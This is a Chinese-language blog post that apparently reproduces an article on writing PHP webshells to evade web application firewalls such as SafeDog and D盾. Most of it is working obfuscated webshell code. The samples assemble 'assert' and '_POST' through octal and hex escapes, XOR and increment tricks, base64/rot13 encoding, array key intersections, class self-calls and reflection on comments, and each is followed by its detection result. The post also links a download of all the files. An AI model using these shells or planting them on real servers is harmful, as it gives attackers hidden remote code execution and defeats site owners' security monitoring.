banner
soapffz

soapffz

github
steam
bilibili
douban

webshell_bypass安全狗、D盾

前言#

不知道咋地啦,最近 Freebuf 和合天智汇都在发绕过 waf 的文章,一般来说都是见光死,而且只敢偶尔发一篇

但是最近连续几天都是 bypass 的文章,那就记录一下

原文来源: https://mp.weixin.qq.com/s/aAK2pLf3XX8AKz2-UoQbYQ

这篇文章就是将原文做一遍,侵删

环境配置及 webshell 了解#

image

image

关于给 Windows 中的 phpstudy 配置安全狗这里有坑,在安装安全狗的时候会跳出来一个配置界面:

image

请自动忽略里面的红字,Win7 的话,先把 phpstudy 设置为服务模式,服务中出现 apache 服务后,停止 phpstudy,然后手动启动 apache 服务后安全狗就可以安装了

针对 win10 的话,你将 phpstudy 设置为系统服务模式的话,在 services.msc 中也是看不到 apache 的服务的,需要自己手动安装 (cmd):

  • cd C:\phpStudy\PHPTutorial\Apache\bin
  • httpd.exe -k install -n apache2.4

然后启动 apache2.4 服务,安全狗就能识别了

在 bypass 开始之前我们先了解一下 webshell 的组成:

image

webshell 再怎么变化,都需要满足图中的两个条件,那么绕过 waf 就是通过变化这两个条件来实现的

我们先测试下 waf 的检测机制,我们准备以下三个文件:

php_1.php:<?php eval($_POST['a']);?>
php_2.php:

<?php
$a = "phpinfo();";
eval($a);?>

php_3.php:<?php $_POST['a'];?>

用安全狗检测一下:

image

带有 eval 的敏感字符与及敏感传参的 $_POST 并没有报毒,可以猜测 waf 的一部分机制是参数追踪与及综合判定。

bypass#

1. 关键字绕过

php 是个非常强大的语言对于字符串的各种变化都支持的非常好。

我们可以用进制转换,十六进制,八进制之类的。

<?php

$a="\141";#八进制的a
$a .= "\163";#八进制的s
$a .= "\x73";#十六进制的s
$a .= "\x65";#十六进制的e
$a .= "\x72";#十六进制的r
$a .= "\164";#十六进制的t
@$a($_POST["a"]);

?>

为什么不用 eval 而用 assert:eval 并不是一个函数,不支持这样子的调用。

这样就 bypass 了安全狗但是过不了 D 盾:

image

2. 算术运算

我们可以同通过自增,异或,取反等方法来获得我们想要的字母,再组合成函数,动态调用即可。

例如通过定义 a 然后进行自增运算得到其他想要的字符,但是注意并不能进行自减

image

但是我们这样子取出来的只有小写字符,并不能得到我们想要_POST,_GET。

在 PHP 中,两个字符串执行异或操作以后,得到的还是一个字符串。

所以这里我们就可以用异或,取反来取我们想要的大写字母。

写个 php 脚本:

<?php
$a=array( "|","!", "@", "#", "%", "^", "&", "*", "(",  ")",  "-", "=", "_", "+", "<", ">", "?", "." , "{" , "}", "[", "]", "\\","~","`","/"); //特殊字符
$alength=count($a);

for($x=0;$x<$alength;$x++) {

for($b=0;$b<$alength;$b++){
echo "the result is ".($a[$x]^$a[$b])." the str is ".$a[$x].$a[$b]."<br>"; //输出遍历异或结果
}}
?>

把能想到特殊字符全部丢进去得到遍历异或的结果,然后再取我们想要的字符。这里我们就以取_POST 为例子。

_可以用 | 和 #来进行异或得到:

image

然后一个个找出来,得到的结果就是:

image

结合我们上面的自增我们可以得到以下代码:

<?php
$_ = ('!'^'@');//a
$__ = $_;
$_++;#b
$_++;#c
$_++;#d
$_++;#e
$____ = $_;
$_++;#f
$_++;#g
$_++;#h
$_++;#i
$_++;#j
$_++;#k
$_++;#l
$_++;#m
$_++;#n
$_++;#o
$_++;#p
$_++;#q
$_++;#r
$___ = $_;
$_++;#s
$__ = $__.$_.$_.$____.$___;
$_++;#t
$__ = $__.$_;//assert
@$_____=('?'^'`').('-'^'}').('/'^'`').('('^'{').('~'^'*');// _POST
@$__(${$_____}[$_]);//t
?>

测试一下,可以过安全狗,但是过不了 D 盾,可是我们的安全等级下降了,问题不大,继续肝:

image

3. 编码加拼接

通过 base64 与及 rot13 编码,动态函数调用得到以下代码:

<?php
function moza($hello){
$b ="bmZmcmVn";
$d = str_rot13(base64_decode($b));
@$d($hello);
}
moza($_POST[1]);
?>

稳过安全狗,但是还是没有过 D 盾,可是等级我们再次降低了一个级别,变成二级了:

image

我们可以再结合一下上面所说的,把自增运算与及参数的传递打破一下检测的规则。

<?php
function moza($a){
$_ = ('!'^'@');//a
$__ = $_;
$_++;$_++;$_++;$_++;$____ = $_;$_++;$_++;$_++;$_++;$_++;$_++;
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___ = $_;$_++;
$__ = $__.$_.$_.$____.$___;$_++;$__ = $__.$_;//assert
@$__($a);
}
$a=$_POST[1];
moza($a=$a);
print_r($_);
?>

image

可以发现,安全狗我们再次无压力,并且 D 盾等级再次降低,降到了一级,只报了一个变量函数,针对这一点,我们再改一下。这次我们可以采用数组的方式,经过多次变换,再加上参数扰乱达到 bypass 的目的。

代码如下:

<?php
$a1=array("a"=>"red","ss"=>"green","c"=>"blue","er"=>"hello","t"=>"hey");
$a2=array("a"=>"red","ss"=>"blue","d"=>"pink","er"=>"hellos","moza"=>"good_boy","t"=>"hey");
$result=array_intersect_key($a1,$a2);//取数组交集
$a = array_keys($result);//取数组键值
$man = $a[0].$a[1].$a[2]."t";
$kk=$_POST['a'];
@$man($kk=$kk);
print_r($a1);//扰乱规则
?>

image

可以发现我们已经 bypass 掉了安全狗,D 盾,深信服,360 主机卫士。

当然远不止这种方法,php 实在太灵活了。

  • uopz_function()
  • uasort()
  • uksort()
  • array_uintersect_uassoc()
  • array_udiff_assoc()
    等等,都可以用来 bypass,用法可以自己尝试。

大佬还贴出了另外两种思路:

这个一句话是在鹏城杯线下赛中出现的,通过自增得到关键字,然后定义类,类内函数自调用来进行 bypass。

<?php
error_reporting(0);//去除错误回显
class Foo  //创建名为FOO的类
{
    function Variable($c)
    {
        $name = 'Bar';
        $b=$this->$name(); // 调用Bar
        $b($c);
    }
    function Bar()
    {
    	$__='a';
        $a1=$__; //$a1=a;
		$__++;$__++;$__++;$__++;//$a__=e;
		$a2=$__; //$a2=e;
		$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//$__=r;
		$a3=$__++; //$a3=r;$__=s;
		$a4=$__++; //$a4=s;$__=t;
		$a5=$__;   //$a5=$__=t;
		$a=$a1.$a4.$a4.$a2.$a3.$a5; //$a=assert
        return $a; //将$a的值返回
    }
}
function variable(){
	$_='A';
	$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; //$_=O;
	$b1=$_++; //$b1=O;$_=P;
	$b2=$_;   //$b2=$_=P
	$_++;$_++;$_++; //$_=S
	$b3=$_++; //$b3=S;$_=T;
	$b4=$_; //$b4=$_=T;
	$b='_'.$b2.$b1.$b3.$b4;//$b=_POST
	return $b; //将$b的值返回
}
$foo = new Foo(); //创建名为foo对象
$funcname = "Variable"; //将Variable的值赋给变量funcname
$bb=${variable()}[variable()]; // $bb=_POST[_POST]);
$foo->$funcname($bb); //调用 $foo->Variable($bb)
?>

另一种,我们可以利用 php 的反射机制,获取注释的内容,然后拼凑出 assert,从而动态执行,代码如下:

<?php
/**
-
as
-
5
-
se
-
*/
class a{
   function say(){$moza = "good_boy";}
}
$aa = new ReflectionClass(new a());//建立反射对象
$arr = explode("*", $aa->getDocComment());//获取对象a的注释
$str = ereg_replace("-","",$arr[2]);//获取对象a的注释
$payload = $str[4].$str[15].$str[15]."ert";//assert
$a = $_POST['a'];@$payload($a=$a);
?>

效果如下:

image

这样子也可以 bypass D 盾安全狗 等。

Bypass 的思路还有:

  • 缓存写 webshell
  • 回调函数
  • 正则匹配绕过
  • 匿名函数

本文所有文件已打包:https://www.lanzous.com/i2xe6pa

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.